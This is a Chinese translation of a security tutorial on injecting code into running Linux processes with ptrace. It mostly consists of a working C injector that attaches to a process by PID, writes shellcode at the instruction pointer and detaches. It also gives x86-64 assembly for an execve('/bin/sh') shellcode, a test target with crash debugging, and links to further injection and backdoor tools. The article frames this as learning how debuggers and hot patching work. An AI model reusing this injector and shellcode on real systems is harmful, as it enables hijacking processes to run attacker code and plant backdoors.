linux进程注入(-)

1
2
3
4
5
译文声明
本文是翻译文章,文章原作者0x00pf,文章来源:0x00sec.org
原文地址:https://0x00sec.org/t/linux-infecting-running-processes/1097
第一篇翻译的文章,如有不当,那也没有什么办法0.0
主要是在工作中遇到了一个需要注入的场景就学习了一下。

前言

  • 我们已经知道了如何向一个二进制文件注入代码让程序在下次执行的时候执行我们的代码,但是如何向一个已在运行的进程中注入代码呢?这篇文章我将介绍如何去操作其它进程内存的一些基本技巧…换句话说,就是教你如何去写一个属于你自己的调试器。

    应用场景

  • 在去介绍技术细节之前,让我先来介绍几个需要注入代码到运行中进程的场景。
  • 最初的场景并不是应用在恶意软件,而是应用在内存热补丁上。运行的程序不能被关闭或者重启,或者说关闭或者重启需要很多不必要的花销。所以如何在不关闭进程或者不重启进程的情况下去给程序打补丁和更新是前几年一个比较热门的话题。
  • 另外一个主要的应用场景就是调试器以及逆向工具的开发。例如radare2…通过这篇文章你将学习它们是如何工作的。
  • 显然另外的一个主要原因还是恶意软件的发展,病毒、后门等。我猜大多数的使用者都是这个原因。一个例子,你们很多人都知道meterpreter的进程注入功能,这个功能够让你运行你的payload在一个’无辜’且正在运行的进程中。
  • 如果你之前读过我的文章,你应该知道我将要讨论linux下的进程注入,基本的原理在不同的操作系统平台下是类似的,所以我希望即使你不是一个linuxer,这篇文章也会对你有用。就说这么多了,下面让我们来看具体细节。

    在linux中进行进程调试

  • 从技术上说,获取其它的进程并修改它一般是通过操作系统提供的调试接口来实现的,在linux中具有调试功能的工具有ptrace、Gdb、radare2、ddd、strace等,这些工具都是使用ptrace这个系统调用来提供服务的。
  • ptrace系统调用允许一个进程去调试另外一个进程,使用ptrace能够使我们停止一个目标进程的执行并且能够让我们去查看和修改目标进程中各个寄存器的值以及内存的值。
  • 这里用两种方式去调试一个进程,第一种(也是最直接的一种)就是让我们的调试器去开启我们的进程…fork和exec,这种一般是传入被调试程序的名字参数给gdb或者strace。
  • 另外一种就是我们需要去动态附加我们的调试器到运行的进程。
  • 这篇文章我们主要关注第二种,当你对这些基本的知识点熟悉之后,后面在你调试程序的时候就不会有什么问题了。

    附加到正在运行的进程

  • 修改正在运行的进程之前我们首先做的是要调试它,这个过程被称为附加,这也是gdb的一个命令,让我们看下面的代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#include <sys/user.h>
#include <sys/reg.h>

int
main (int argc, char *argv[])
{
pid_t target;
struct user_regs_struct regs;
int syscall;
long dst;

if (argc != 2)
{
fprintf (stderr, "Usage:\n\t%s pid\n", argv[0]);
exit (1);
}
target = atoi (argv[1]);
printf ("+ Tracing process %d\n", target);
if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0)
{
perror ("ptrace(ATTACH):");
exit (1);
}
printf ("+ Waiting for process...\n");
wait (NULL);
  • 在这段代码中我们可以看到main函数接收一个参数,这里是pid(进程id号),即我们想要去注入的进程。我们在后面的每次ptrace系统调用的时候都会用的到。
  • 我们使用ptrace系统调用,第一个参数是PTRACE_ATTACH,第二个参数是我们想要附加的进程id,之后我们调用wait的SIGTRAP信号去判断附加进程是否完成。
  • 这个时候,我们附加的进程停止,我们可以按照我们的意愿去修改它。

    注入代码

  • 首先我们需要知道我们要将我们的代码注入到哪里,这里有几种可能性:
  1. 我们可以插入到当前要执行的指令之后,这是最直接的方式但是会破坏原有的目标进程,会导致原来的目标进程的后续功能受到破坏。
  2. 我们可以尝试注入代码到main函数地址处,但是有一定的几率是某些初始化的操作是在程序执行之前,因此我们首先需要让程序的正常工作。
  3. 另外的选择是使用ELF注入技巧,注入我们的代码,例如在内存中寻找空隙。
  4. 最后,我们可以在栈中注入代码,同一般的栈溢出,这是一种安全的方式可以避免破坏原有程序的方式。
  • 简单点儿,我们打算在控制了进程之后,在IP寄存器地址处注入我们的代码,后面的代码中可以看到,我们将直接注入一段典型的得到shell session的shellcode。因此我们也不期望交还控制权给原来的进程。换句话说,我们不在乎是否会破坏原有的进程。

    获取寄存器和内存信息

  • 下面代码注入我们的“恶意代码”到目标进程:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    printf ("+ Getting Registers\n");
    if ((ptrace (PTRACE_GETREGS, target, NULL, &regs)) < 0)
    {
    perror ("ptrace(GETREGS):");
    exit (1);
    }

    printf ("+ Injecting shell code at %p\n", (void*)regs.rip);
    inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE);
    regs.rip += 2;
  • 上面的代码中首先看到的是我们调用了ptrace,其中第一个参数是PTRACE_GETREGS,这将使我们的程序可以获取到被控制进程的寄存器内容。

  • 之后,我们使用一个方法注入我们的shellcode到目标进程。注意我们获取了regs.rip(即目标进程当前的IP寄存器的值),inject_data函数,如你所想,拷贝我们的shellcode到reg.rip所指向的内存地址处。
  • 让我们看看是怎么样的。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    inject_data (pid_t pid, unsigned char *src, void *dst, int len)
    {
    int i;
    uint32_t *s = (uint32_t *) src;
    uint32_t *d = (uint32_t *) dst;

    for (i = 0; i < len; i+=4, s++, d++)
    {
    if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0)
    {
    perror ("ptrace(POKETEXT):");
    return -1;
    }
    }
    return 0;
    }
  • 很简单是不是,在这个函数中只有两点是需要稍微解释说明的

  1. PTRACE_POKETEXT 用来写入目标进程的内存中,这里就是我们真正注入我们的代码到目标进程,此外还有PTRACE_PEEKTEXT函数等.
  2. PTRACE_POKETEXT 函数写入是以words为单位的,所以我们我们需要转换成word类型,还需要指针每次增加4。

    运行注入代码

  • 现在目标进程的内存已经被注入包含我们需要运行的代码了,现在要做的就是交回我们的控制权给目标进程并让它保持正常运行了。这里有几种不同的方法,这里我们需要做的是分离目标进程,因此,我们停止调试目标进程。下面的方法可以停止调试且让目标进程继续执行:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
      printf ("+ Setting instruction pointer to %p\n", (void*)regs.rip);
    if ((ptrace (PTRACE_SETREGS, target, NULL, &regs)) < 0)
    {
    perror ("ptrace(GETREGS):");
    exit (1);
    }
    printf ("+ Run it!\n");

    if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0)
    {
    perror ("ptrace(DETACH):");
    exit (1);
    }
    return 0;
    }
  • 这里很容易理解,需要注意的是我们需要先把寄存器的值重新设回到以前,然后再去分离。回到前面的章节部分检查一下我们注入的代码…你注意到了在这里
    为什么要regs.rip += 2了吗

  • 是的,我们修改了IP寄存器的值,这也是为什么我们能够成功分离并将程序控制权交还给目标进程的原因所在。

    如何去算出这两个字节

  • 当我们调用PTRACE_DEATCH时候需要另外计算的两个字节并不那么容易,我来告诉大家。
  • 在整个测试的过程中,当我尝试去注入代码的时候目标进程总是崩掉,一个可能的原因是目标程序中栈数据不能执行,我通过execstack 工具去排除这个原因,但是程序还是会崩掉,所以我开启了内存dump分析了一下到底发生了什么。
  • 原因是,你不能同时运行gdb去调试目标进程,否则第一个ptrace会失败,你不能用两个调试器在同一时间调试同一个程序(这句话隐藏了一个反调试的技巧; )所以当我尝试栈溢出的方式注入代码的时候得到如下的信息:
1
2
3
4
5
6
+ Tracing process 15333
+ Waiting for process...
+ Getting Registers
+ Injecting shell code at 0x7ffe9a708728
+ Setting instruction pointer to 0x7ffe9a708708
+ Run it!
  • 当然,这里的地址以及进程名在你的系统中可能不一样,然而,进程崩溃dump的内存可以通过gdb去检查到底发生了什么。
1
2
3
4
5
6
7
$ gdb ./target core
(... gdb start up messages removed ...)
Reading symbols from ./target...(no debugging symbols found)...done.
[New LWP 15333]
Core was generated by `./target'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x00007ffe9a708706 in ?? ()
  • 可以看到这里发生了段地址错误,如果你对比了injector的输出信息可以发现这里有两字节的不同,修改这里将会使你注入成功。

    测试程序

  • 为了测试我写了个简单的程序,这个程序只是打印了它自己的pid(你就不用去找它的pid了),然后每隔2s打印一个helloword,打印10次,这将会给你注入的时间。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <unistd.h>

int main()
{
int i;

printf ("PID: %d\n", (int)getpid());
for(i = 0;i < 10; ++i) {

write (1, "Hello World\n", 12);
sleep(2);
}
getchar();
return 0;
}
  • 我所用到的shellcode是通过如下的汇编文件生成的:
1
2
3
4
5
6
7
8
9
10
11
12
13
section .text
global _start

_start:
xor rax,rax
mov rdx,rax ; No Env
mov rsi,rax ; No argv
lea rdi, [rel msg]

add al, 0x3b

syscall
msg db '/bin/sh',0

结束语

  • ptrace是一个非常强大的工具,这篇文章中我们只是用到了最基本的,现在时候打开你的terminal然后输入man ptrace去学习一下它是如何的神奇了。
  • 如果你有兴趣的话,你还可以进行如下的尝试:
  • 1.修改注入代码到代码空隙
  • 2.使用更加好用的shellcode让它另起一个进程,从而保持原程序正常运行
  • 3.你的shellcode将会运行在目标项目中并且可以读取打开的文件…
  • 一如往常,你可以github上找到文章中所涉及到的代码
    https://github.com/0x00pf/0x00sec_code/tree/master/mem_inject

    其它

  • 附上译者的测试截图

    20180320更新

  • 昨天在看《learing linux binary analysis》的时候看到的一个工具saruman,觉得还不错,这是一个已经相对比较稳定的进程注入工具。此外这里还有一个后门server感觉还不错。
  • 注意在编译server的时候记得加上 -fpic -pie的编译参数,其中fpic和pie参数用于生成位置无关可执行程序,其中fpic用于编译阶段,pie用于链接阶段。

    20200102更新

  • https://github.com/DavidBuchanan314/dlinject into a live linux process, without ptrace)